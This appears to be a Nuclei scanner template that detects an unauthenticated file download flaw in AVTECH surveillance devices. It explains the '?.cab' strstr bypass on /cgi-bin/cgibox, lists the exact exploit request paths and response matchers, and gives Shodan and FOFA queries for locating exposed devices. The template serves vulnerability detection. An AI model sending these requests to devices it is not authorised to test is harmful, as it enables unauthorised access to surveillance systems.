id: avtech-unauth-file-download

info:
  name: AVTECH Video Surveillance Product - Unauthenticated File Download
  author: ritikchaddha
  severity: high
  description: |
    AVTECH video surveillance products unauthenticated file download from web root through /cgi-bin/cgibox, Since the .cab string is verified by the strstr method, the file download can be realized by adding ?.cab at the end of the file name.
  metadata:
    verified: true
    max-request: 2
    shodan-query: title:"login" product:"Avtech"
    fofa-query: app="AVTECH-视频监控"
  tags: exposure,avtech,unauth,download,iot

http:
  - method: GET
    path:
      - "{{BaseURL}}/cgi-bin/cgibox?.cab"
      - "{{BaseURL}}/cgi-bin/cgibox?/nobody"

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'ELF'
          - 'ddns_avtech_final'
        condition: and

      - type: word
        part: header
        words:
          - text/plain

      - type: status
        status:
          - 200

# digest: 4b0a00483046022100b16c713b1b3a67a6722e4e43e719a9f26985c47f5baafccd3a35156f3b00a8e2022100b1578359ee84e2982fe3bf2dca60cc610076d785f21f9a0dd9449e0e54dfd2c4:922c64590222798bb761d5b6d8e72950
